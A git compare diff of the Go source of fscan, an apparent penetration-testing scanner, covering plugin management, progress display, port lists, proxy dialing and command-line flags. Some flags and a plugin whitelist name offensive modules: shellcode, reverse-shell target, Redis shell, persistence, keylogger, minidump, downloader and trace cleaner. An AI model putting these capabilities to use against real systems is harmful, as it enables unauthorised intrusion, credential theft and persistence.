Compare commits

..

No commits in common. "da981cdbce2cfa04537f9a1d06b03db40c87ead1" and "c0374a6250cfc1017178a2e7c80a6112cb7fd1b3" have entirely different histories.

181 changed files with 1769 additions and 2026 deletions

5
.gitignore vendored
View File

@ -70,8 +70,3 @@ Todo列表.md
# Claude documentation / Claude文档
.claude_docs/
# Cleaner plugin artifacts / 清理插件产物
cleanup.bat
cleanup.sh
cleanup_script_*

View File

@ -99,7 +99,28 @@ func (m *ConcurrencyMonitor) FinishConnection(pluginName, target string) {
}
}
// 已移除未使用的 GetConnectionStats 方法
// GetConnectionStats 获取所有插件连接统计
func (m *ConcurrencyMonitor) GetConnectionStats() map[string]*PluginConnectionInfo {
stats := make(map[string]*PluginConnectionInfo)
m.pluginConnections.Range(func(key, value interface{}) bool {
keyStr := key.(string)
info := value.(*PluginConnectionInfo)
// 只返回当前活跃的连接
if atomic.LoadInt64(&info.ActiveConnections) > 0 {
stats[keyStr] = &PluginConnectionInfo{
PluginName: info.PluginName,
Target: info.Target,
ActiveConnections: atomic.LoadInt64(&info.ActiveConnections),
TotalConnections: atomic.LoadInt64(&info.TotalConnections),
}
}
return true
})
return stats
}
// GetTotalActiveConnections 获取总活跃连接数
func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
@ -114,7 +135,16 @@ func (m *ConcurrencyMonitor) GetTotalActiveConnections() int64 {
return total
}
// 已移除未使用的 Reset 方法
// Reset 重置监控器
func (m *ConcurrencyMonitor) Reset() {
atomic.StoreInt64(&m.activePluginTasks, 0)
atomic.StoreInt64(&m.totalPluginTasks, 0)
m.pluginConnections.Range(func(key, value interface{}) bool {
m.pluginConnections.Delete(key)
return true
})
}
// GetConcurrencyStatus 获取并发状态字符串
func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
@ -134,4 +164,28 @@ func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
i18n.GetText("concurrency_connection"), totalConnections)
}
// 已移除未使用的 GetDetailedStatus 方法
// GetDetailedStatus 获取详细的并发状态
func (m *ConcurrencyMonitor) GetDetailedStatus() string {
activePlugins, _ := m.GetPluginTaskStats()
connectionStats := m.GetConnectionStats()
if activePlugins == 0 && len(connectionStats) == 0 {
return i18n.GetText("concurrency_no_active_tasks")
}
status := fmt.Sprintf("%s: %d", i18n.GetText("concurrency_plugin_tasks"), activePlugins)
if len(connectionStats) > 0 {
status += " | " + i18n.GetText("concurrency_connection_details") + ": "
first := true
for _, info := range connectionStats {
if !first {
status += ", "
}
status += fmt.Sprintf("%s@%s:%d", info.PluginName, info.Target, info.ActiveConnections)
first = false
}
}
return status
}

View File

@ -20,9 +20,6 @@ var (
HostsFile string
PortsFile string
// 本地插件列表(由外部初始化)
LocalPluginsList []string
ModuleThreadNum int
GlobalTimeout int64
EnableFingerprint bool
@ -51,11 +48,13 @@ var (
RedisFile string
RedisShell string
DisableRedis bool
RedisWritePath string
RedisWriteContent string
RedisWriteFile string
DisableBrute bool
DisableExploit bool
MaxRetries int
DisableSave bool
@ -173,8 +172,9 @@ func Flag(Info *HostInfo) {
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
// LiveTop 参数已移除,改为智能控制
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&EnableFingerprint, "fp", false, i18n.GetText("flag_enable_fingerprint"))
flag.StringVar(&LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin"))
flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
// ═════════════════════════════════════════════════
@ -216,6 +216,7 @@ func Flag(Info *HostInfo) {
// ═════════════════════════════════════════════════
flag.StringVar(&RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
@ -224,6 +225,7 @@ func Flag(Info *HostInfo) {
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
flag.BoolVar(&DisableExploit, "ne", false, i18n.GetText("flag_disable_exploit"))
flag.IntVar(&MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
// ═════════════════════════════════════════════════
@ -242,7 +244,7 @@ func Flag(Info *HostInfo) {
// ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
flag.IntVar(&Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
@ -393,14 +395,18 @@ func checkParameterConflicts() {
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
}
// 检查本地插件参数
if LocalPlugin != "" {
// 自动启用本地模式
LocalMode = true
// 检查本地模式和本地插件参数
if LocalMode {
if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
os.Exit(1)
}
// 验证本地插件名称
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi", "keylogger", "downloader", "cleaner"} // 已重构的插件
isValid := false
for _, valid := range LocalPluginsList {
for _, valid := range validPlugins {
if LocalPlugin == valid {
isValid = true
break
@ -409,10 +415,14 @@ func checkParameterConflicts() {
if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
if len(LocalPluginsList) > 0 {
fmt.Printf("可用的本地插件: %s\n", strings.Join(LocalPluginsList, ", "))
}
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi, keylogger, downloader, cleaner\n")
os.Exit(1)
}
}
// 如果指定了本地插件但未启用本地模式
if !LocalMode && LocalPlugin != "" {
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
os.Exit(1)
}
}

View File

@ -263,19 +263,15 @@ func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error {
// 更新目标相关全局变量
if config.Targets != nil {
if len(config.Targets.Hosts) > 0 {
// 如果info.Host已经有值说明解析结果来自info.Host不需要重复设置
// 只有当info.Host为空时才设置如从文件读取的情况
if info.Host == "" {
info.Host = joinStrings(config.Targets.Hosts, ",")
} else {
info.Host += "," + joinStrings(config.Targets.Hosts, ",")
}
}
if len(config.Targets.URLs) > 0 {
URLs = config.Targets.URLs
// 如果info.Url为空且只有一个URL将其设置到info.Url
if info.Url == "" && len(config.Targets.URLs) == 1 {
info.Url = config.Targets.URLs[0]
}
}
if len(config.Targets.Ports) > 0 {

View File

@ -8,12 +8,8 @@ Ports.go - 端口常量(向后兼容层)
此文件保持向后兼容实际常量定义已迁移到Core/Constants.go
*/
// 向后兼容的端口常量 - 引用base包中的定义
// 向后兼容的端口常量 - 引用Core包中的定义
var (
WebPorts = base.WebPorts // Web服务端口组
MainPorts = base.MainPorts // 主要服务端口组
DbPorts = base.DbPorts // 数据库端口组
ServicePorts = base.ServicePorts // 服务端口组
CommonPorts = base.CommonPorts // 常用端口组
AllPorts = base.AllPorts // 全部端口
WebPorts = base.WebPorts // Web服务端口组
MainPorts = base.MainPorts // 主要服务端口组
)

View File

@ -3,7 +3,6 @@ package common
import (
"fmt"
"os"
"runtime"
"sync"
"time"
@ -32,27 +31,11 @@ type ProgressManager struct {
// 输出缓冲相关
outputMutex sync.Mutex
// 活跃指示器相关
spinnerIndex int
lastActivity time.Time
activityTicker *time.Ticker
stopActivityChan chan struct{}
// 内存监控相关
lastMemUpdate time.Time
memStats runtime.MemStats
}
var (
globalProgressManager *ProgressManager
progressMutex sync.Mutex
// 活跃指示器字符序列(旋转动画)
spinnerChars = []string{"|", "/", "-", "\\"}
// 活跃指示器更新间隔
activityUpdateInterval = 500 * time.Millisecond
)
// GetProgressManager 获取全局进度条管理器
@ -86,16 +69,10 @@ func (pm *ProgressManager) InitProgress(total int64, description string) {
pm.startTime = time.Now()
pm.isActive = true
pm.enabled = true
pm.lastActivity = time.Now()
pm.spinnerIndex = 0
pm.lastMemUpdate = time.Now().Add(-2 * time.Second) // 强制首次更新内存
// 为进度条保留空间
pm.setupProgressSpace()
// 启动活跃指示器
pm.startActivityIndicator()
// 初始显示进度条
pm.renderProgress()
}
@ -114,9 +91,6 @@ func (pm *ProgressManager) UpdateProgress(increment int64) {
pm.current = pm.total
}
// 更新活跃时间
pm.lastActivity = time.Now()
pm.renderProgress()
}
@ -136,9 +110,6 @@ func (pm *ProgressManager) FinishProgress() {
pm.current = pm.total
pm.renderProgress()
// 停止活跃指示器
pm.stopActivityIndicator()
// 显示完成信息
pm.showCompletionInfo()
@ -169,9 +140,7 @@ func (pm *ProgressManager) renderProgress() {
// generateProgressBar 生成进度条字符串
func (pm *ProgressManager) generateProgressBar() string {
if pm.total == 0 {
spinner := pm.getActivityIndicator()
memInfo := pm.getMemoryInfo()
return fmt.Sprintf("%s %s 等待中... %s", pm.description, spinner, memInfo)
return fmt.Sprintf("%s: 等待中...", pm.description)
}
percentage := float64(pm.current) / float64(pm.total) * 100
@ -228,22 +197,16 @@ func (pm *ProgressManager) generateProgressBar() string {
bar += "|"
}
// 生成活跃指示器
spinner := pm.getActivityIndicator()
// 构建基础进度条
baseProgress := fmt.Sprintf("%s %s %6.1f%% %s (%d/%d)%s%s",
pm.description, spinner, percentage, bar, pm.current, pm.total, speedStr, eta)
// 添加内存信息
memInfo := pm.getMemoryInfo()
baseProgress := fmt.Sprintf("%s %6.1f%% %s (%d/%d)%s%s",
pm.description, percentage, bar, pm.current, pm.total, speedStr, eta)
// 添加并发状态
if concurrencyStatus != "" {
return fmt.Sprintf("%s [%s] %s", baseProgress, concurrencyStatus, memInfo)
return fmt.Sprintf("%s [%s]", baseProgress, concurrencyStatus)
}
return fmt.Sprintf("%s %s", baseProgress, memInfo)
return baseProgress
}
// showCompletionInfo 显示完成信息
@ -364,94 +327,3 @@ func (pm *ProgressManager) renderProgressUnsafe() {
// 刷新输出
os.Stdout.Sync()
}
// =============================================================================
// 活跃指示器相关方法
// =============================================================================
// startActivityIndicator 启动活跃指示器
func (pm *ProgressManager) startActivityIndicator() {
// 防止重复启动
if pm.activityTicker != nil {
return
}
pm.activityTicker = time.NewTicker(activityUpdateInterval)
pm.stopActivityChan = make(chan struct{})
go func() {
for {
select {
case <-pm.activityTicker.C:
// 只有在活跃状态下才更新指示器
if pm.isActive && pm.enabled {
pm.mu.Lock()
pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars)
pm.mu.Unlock()
// 只有在长时间没有进度更新时才重新渲染
// 这样可以避免频繁更新时的性能问题
if time.Since(pm.lastActivity) > 2*time.Second {
pm.renderProgress()
}
}
case <-pm.stopActivityChan:
return
}
}
}()
}
// stopActivityIndicator 停止活跃指示器
func (pm *ProgressManager) stopActivityIndicator() {
if pm.activityTicker != nil {
pm.activityTicker.Stop()
pm.activityTicker = nil
}
if pm.stopActivityChan != nil {
close(pm.stopActivityChan)
pm.stopActivityChan = nil
}
}
// getActivityIndicator 获取当前活跃指示器字符
func (pm *ProgressManager) getActivityIndicator() string {
// 如果最近有活动2秒内显示静态指示器
if time.Since(pm.lastActivity) <= 2*time.Second {
return "●" // 实心圆表示活跃
}
// 如果长时间没有活动,显示旋转指示器表明程序仍在运行
return spinnerChars[pm.spinnerIndex]
}
// getMemoryInfo 获取内存使用信息
func (pm *ProgressManager) getMemoryInfo() string {
// 限制内存统计更新频率以提高性能(每秒最多一次)
now := time.Now()
if now.Sub(pm.lastMemUpdate) >= time.Second {
runtime.ReadMemStats(&pm.memStats)
pm.lastMemUpdate = now
}
// 获取当前使用的内存以MB为单位
memUsedMB := float64(pm.memStats.Alloc) / 1024 / 1024
// 根据内存使用量选择颜色
var colorCode string
if NoColor {
return fmt.Sprintf("内存:%.1fMB", memUsedMB)
}
// 根据内存使用量设置颜色
if memUsedMB < 50 {
colorCode = "\033[32m" // 绿色 - 内存使用较低
} else if memUsedMB < 100 {
colorCode = "\033[33m" // 黄色 - 内存使用中等
} else {
colorCode = "\033[31m" // 红色 - 内存使用较高
}
return fmt.Sprintf("%s内存:%.1fMB\033[0m", colorCode, memUsedMB)
}

View File

@ -12,12 +12,8 @@ Constants.go - 核心常量定义
// 预定义端口组常量
var (
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
MainPorts = "21,22,23,25,80,81,110,135,139,143,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
AllPorts = "1-65535"
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
MainPorts = "21,22,23,25,80,81,110,135,139,143,161,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
)
// =============================================================================

View File

@ -1,6 +1,7 @@
package base
import (
"fmt"
"sync"
)
@ -125,7 +126,41 @@ func (p *ScanPlugin) GetInfo() map[string]interface{} {
// 插件管理器方法
// =============================================================================
// 已移除未使用的 RegisterPlugin 方法
// RegisterPlugin 注册插件
func (pm *PluginManager) RegisterPlugin(plugin *ScanPlugin) error {
if plugin == nil {
return fmt.Errorf("plugin cannot be nil")
}
if plugin.Name == "" {
return fmt.Errorf("plugin name cannot be empty")
}
if plugin.ScanFunc == nil {
return fmt.Errorf("plugin scan function cannot be nil")
}
pm.mu.Lock()
defer pm.mu.Unlock()
// 检查插件是否已存在
if _, exists := pm.plugins[plugin.Name]; exists {
return fmt.Errorf("plugin %s already registered", plugin.Name)
}
// 注册插件
pm.plugins[plugin.Name] = plugin
// 按类型索引
for _, pluginType := range plugin.Types {
pm.types[pluginType] = append(pm.types[pluginType], plugin)
}
// 按端口索引
for _, port := range plugin.Ports {
pm.ports[port] = append(pm.ports[port], plugin)
}
return nil
}
// ========================================================================================
// 未使用的插件管理器方法已删除(死代码清理)
@ -137,11 +172,89 @@ func (p *ScanPlugin) GetInfo() map[string]interface{} {
// 全局插件管理函数 (保持向后兼容)
// =============================================================================
// 已移除未使用的 RegisterPlugin 方法
// RegisterPlugin 注册插件到全局管理器
func RegisterPlugin(name string, plugin ScanPlugin) error {
// 转换为新的插件结构
newPlugin := &ScanPlugin{
Name: name,
Ports: plugin.Ports,
Types: plugin.Types,
Enabled: true,
ScanFunc: plugin.ScanFunc,
}
// 已移除未使用的 Clear 方法
// 注册到新的插件管理器
err := globalPluginManager.RegisterPlugin(newPlugin)
if err != nil {
return err
}
// 已移除未使用的 ClearPluginsByType 方法
// 同时更新Legacy管理器以保持向后兼容
LegacyPluginManager[name] = plugin
return nil
}
// Clear 清理所有插件(防止内存泄漏)
func (pm *PluginManager) Clear() {
pm.mu.Lock()
defer pm.mu.Unlock()
// 清理插件实例
for name, plugin := range pm.plugins {
// ScanPlugin结构不包含Cleanup方法直接删除即可
_ = plugin // 避免未使用变量警告
delete(pm.plugins, name)
}
// 清理索引
for typeKey := range pm.types {
delete(pm.types, typeKey)
}
for portKey := range pm.ports {
delete(pm.ports, portKey)
}
// 清理Legacy管理器
for k := range LegacyPluginManager {
delete(LegacyPluginManager, k)
}
}
// ClearPluginsByType 清理指定类型的插件
func (pm *PluginManager) ClearPluginsByType(pluginType string) {
pm.mu.Lock()
defer pm.mu.Unlock()
plugins := pm.types[pluginType]
for _, plugin := range plugins {
// ScanPlugin结构不包含Cleanup方法直接删除即可
delete(pm.plugins, plugin.Name)
}
delete(pm.types, pluginType)
// 同步清理端口索引
for port, portPlugins := range pm.ports {
filtered := make([]*ScanPlugin, 0)
for _, plugin := range portPlugins {
found := false
for _, typePlugin := range plugins {
if plugin == typePlugin {
found = true
break
}
}
if !found {
filtered = append(filtered, plugin)
}
}
if len(filtered) == 0 {
delete(pm.ports, port)
} else {
pm.ports[port] = filtered
}
}
}
// GetGlobalPluginManager 方法已删除(死代码清理)

View File

@ -18,7 +18,6 @@ import (
"github.com/shadow1ng/fscan/common/base"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/common/proxy"
)
// =============================================================================
@ -30,8 +29,12 @@ type ScanPlugin = base.ScanPlugin
// 插件类型常量
const (
PluginTypeWeb = base.PluginTypeWeb
PluginTypeLocal = base.PluginTypeLocal
PluginTypeService = base.PluginTypeService
PluginTypeWeb = base.PluginTypeWeb
PluginTypeLocal = base.PluginTypeLocal
PluginTypeBrute = base.PluginTypeBrute
PluginTypePoc = base.PluginTypePoc
PluginTypeScan = base.PluginTypeScan
)
// 全局插件管理器
@ -41,7 +44,12 @@ var PluginManager = base.LegacyPluginManager
// 核心功能导出 - 直接调用对应模块
// =============================================================================
// 已移除未使用的 RegisterPlugin 方法
// 插件系统
func RegisterPlugin(name string, plugin ScanPlugin) {
if err := base.RegisterPlugin(name, plugin); err != nil {
LogError("Failed to register plugin " + name + ": " + err.Error())
}
}
// GetGlobalPluginManager 函数已删除(死代码清理)
@ -59,11 +67,11 @@ func getGlobalLogger() *logging.Logger {
if globalLogger == nil {
level := getLogLevelFromString(LogLevel)
config := &logging.LoggerConfig{
Level: level,
EnableColor: !NoColor,
SlowOutput: false,
Level: level,
EnableColor: !NoColor,
SlowOutput: false,
ShowProgress: ShowProgress,
StartTime: StartTime,
StartTime: StartTime,
}
globalLogger = logging.NewLogger(config)
if ProgressBar != nil {
@ -108,11 +116,11 @@ func InitLogger() {
getGlobalLogger().Initialize()
}
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
func LogBase(msg string) { getGlobalLogger().Base(msg) }
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
func LogSuccess(result string) { getGlobalLogger().Success(result) }
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
func LogBase(msg string) { getGlobalLogger().Base(msg) }
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
func LogSuccess(result string) { getGlobalLogger().Success(result) }
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
// =============================================================================
// 输出系统简化接口
@ -169,58 +177,14 @@ func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.
return net.DialTimeout(network, address, timeout)
}
// WrapperTcpWithContext TCP连接包装器带上下文和代理支持
// WrapperTcpWithContext TCP连接包装器带上下文
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
// 检查是否配置了SOCKS5代理
if Socks5Proxy != "" {
proxyConfig := &proxy.ProxyConfig{
Type: proxy.ProxyTypeSOCKS5,
Address: Socks5Proxy,
Timeout: time.Second * 10,
}
proxyManager := proxy.NewProxyManager(proxyConfig)
dialer, err := proxyManager.GetDialer()
if err != nil {
LogDebug(fmt.Sprintf("SOCKS5代理连接失败回退到直连: %v", err))
// 代理失败时回退到直连
var d net.Dialer
return d.DialContext(ctx, network, address)
}
LogDebug(fmt.Sprintf("使用SOCKS5代理连接: %s -> %s", Socks5Proxy, address))
return dialer.DialContext(ctx, network, address)
}
// 没有配置代理,使用直连
var d net.Dialer
return d.DialContext(ctx, network, address)
}
// WrapperTlsWithContext TLS连接包装器带上下文和代理支持
// WrapperTlsWithContext TLS连接包装器带上下文
func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) {
// 检查是否配置了SOCKS5代理
if Socks5Proxy != "" {
proxyConfig := &proxy.ProxyConfig{
Type: proxy.ProxyTypeSOCKS5,
Address: Socks5Proxy,
Timeout: time.Second * 10,
}
proxyManager := proxy.NewProxyManager(proxyConfig)
tlsDialer, err := proxyManager.GetTLSDialer()
if err != nil {
LogDebug(fmt.Sprintf("SOCKS5代理TLS连接失败回退到直连: %v", err))
// 代理失败时回退到直连
d := &tls.Dialer{Config: config}
return d.DialContext(ctx, network, address)
}
LogDebug(fmt.Sprintf("使用SOCKS5代理TLS连接: %s -> %s", Socks5Proxy, address))
return tlsDialer.DialTLSContext(ctx, network, address, config)
}
// 没有配置代理,使用直连
d := &tls.Dialer{Config: config}
return d.DialContext(ctx, network, address)
}

View File

@ -86,6 +86,7 @@ type VulnExploitConfig struct {
// Redis利用
RedisFile string `json:"redis_file"` // Redis利用目标文件
RedisShell string `json:"redis_shell"` // Redis反弹Shell命令
DisableRedis bool `json:"disable_redis"` // 是否禁用Redis利用测试
RedisWritePath string `json:"redis_write_path"` // Redis文件写入路径
RedisWriteContent string `json:"redis_write_content"` // Redis文件写入内容
RedisWriteFile string `json:"redis_write_file"` // Redis写入的源文件

View File

@ -20,7 +20,7 @@ globals.go - 全局变量定义
// 版本信息
// =============================================================================
var version = "2.2.1"
var version = "2.2.0"
// =============================================================================
// 简化的全局状态管理(仅保留必要的同步机制)

View File

@ -1,58 +0,0 @@
package common
import (
"fmt"
"strconv"
)
// HostInfoHelper 提供HostInfo的辅助方法
// 使用函数而不是方法,保持向后兼容
// GetPort 获取端口号(转换为整数)
func GetPort(h *HostInfo) (int, error) {
if h.Ports == "" {
return 0, fmt.Errorf("端口未设置")
}
return strconv.Atoi(h.Ports)
}
// IsWebTarget 判断是否为Web目标
func IsWebTarget(h *HostInfo) bool {
return h.Url != ""
}
// HasPort 检查是否设置了端口
func HasPort(h *HostInfo) bool {
return h.Ports != ""
}
// ValidateHostInfo 验证HostInfo的有效性
func ValidateHostInfo(h *HostInfo) error {
if h.Host == "" && h.Url == "" {
return fmt.Errorf("主机地址或URL必须至少指定一个")
}
// 验证端口格式(如果指定了)
if h.Ports != "" {
if _, err := GetPort(h); err != nil {
return fmt.Errorf("端口格式无效: %v", err)
}
}
return nil
}
// HostInfoString 返回HostInfo的字符串表示
func HostInfoString(h *HostInfo) string {
if IsWebTarget(h) {
return h.Url
}
if HasPort(h) {
return fmt.Sprintf("%s:%s", h.Host, h.Ports)
}
return h.Host
}

View File

@ -170,6 +170,10 @@ var FlagMessages = map[string]map[string]string{
LangZH: "Redis Shell",
LangEN: "Redis Shell",
},
"flag_disable_redis": {
LangZH: "禁用Redis扫描",
LangEN: "Disable Redis scan",
},
"flag_redis_write_path": {
LangZH: "Redis写入路径",
LangEN: "Redis write path",
@ -186,6 +190,10 @@ var FlagMessages = map[string]map[string]string{
LangZH: "禁用暴力破解",
LangEN: "Disable brute force",
},
"flag_disable_exploit": {
LangZH: "禁用利用攻击",
LangEN: "Disable exploit attacks",
},
"flag_max_retries": {
LangZH: "最大重试次数",
LangEN: "Maximum retries",
@ -227,10 +235,6 @@ var FlagMessages = map[string]map[string]string{
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
},
"flag_socks5_proxy": {
LangZH: "使用SOCKS5代理 (如: 127.0.0.1:1080)",
LangEN: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)",
},
"flag_start_socks5_server": {
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
},

View File

@ -108,7 +108,11 @@ func ParsePort(ports string) []int {
return result
}
// 已移除未使用的 ParsePortsFromString 方法
// ParsePortsFromString 从字符串解析端口列表
// 保持与 ParsePortsFromString 的接口兼容性
func ParsePortsFromString(portsStr string) []int {
return ParsePort(portsStr)
}
// =============================================================================
// 辅助函数

View File

@ -30,6 +30,7 @@ type TargetParserOptions struct {
ValidateURLs bool `json:"validate_urls"`
ResolveDomains bool `json:"resolve_domains"`
EnableStatistics bool `json:"enable_statistics"`
DefaultPorts string `json:"default_ports"`
}
// DefaultTargetParserOptions 默认目标解析器选项
@ -42,6 +43,7 @@ func DefaultTargetParserOptions() *TargetParserOptions {
ValidateURLs: DefaultValidateURLs,
ResolveDomains: DefaultResolveDomains,
EnableStatistics: DefaultTargetEnableStatistics,
DefaultPorts: DefaultPorts,
}
}
@ -197,31 +199,11 @@ func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []str
}
}
// 去重和验证同时分离host:port格式
// 去重和验证
hosts = tp.removeDuplicateStrings(hosts)
validHosts := make([]string, 0, len(hosts))
hostPorts := make([]string, 0)
for _, host := range hosts {
// 检查是否为host:port格式
if strings.Contains(host, ":") {
if h, portStr, err := net.SplitHostPort(host); err == nil {
// 验证端口号
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
// 验证主机部分
if valid, hostErr := tp.validateHost(h); valid {
// 这是有效的host:port组合添加到hostPorts
hostPorts = append(hostPorts, host)
continue
} else if hostErr != nil {
warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", host, hostErr.Error()))
continue
}
}
}
}
// 作为普通主机验证
if valid, err := tp.validateHost(host); valid {
validHosts = append(validHosts, host)
} else if err != nil {
@ -229,11 +211,6 @@ func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []str
}
}
// 将找到的hostPorts合并到输入结果中通过修改input结构
if len(hostPorts) > 0 {
input.HostPort = append(input.HostPort, hostPorts...)
}
// 检查目标数量限制
if len(validHosts) > tp.options.MaxTargets {
warnings = append(warnings, fmt.Sprintf("主机数量超过限制,截取前%d个", tp.options.MaxTargets))
@ -429,26 +406,8 @@ func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) {
}
hosts = append(hosts, rangeHosts...)
default:
// 检查是否为host:port格式
if strings.Contains(item, ":") {
if _, portStr, err := net.SplitHostPort(item); err == nil {
// 验证端口号
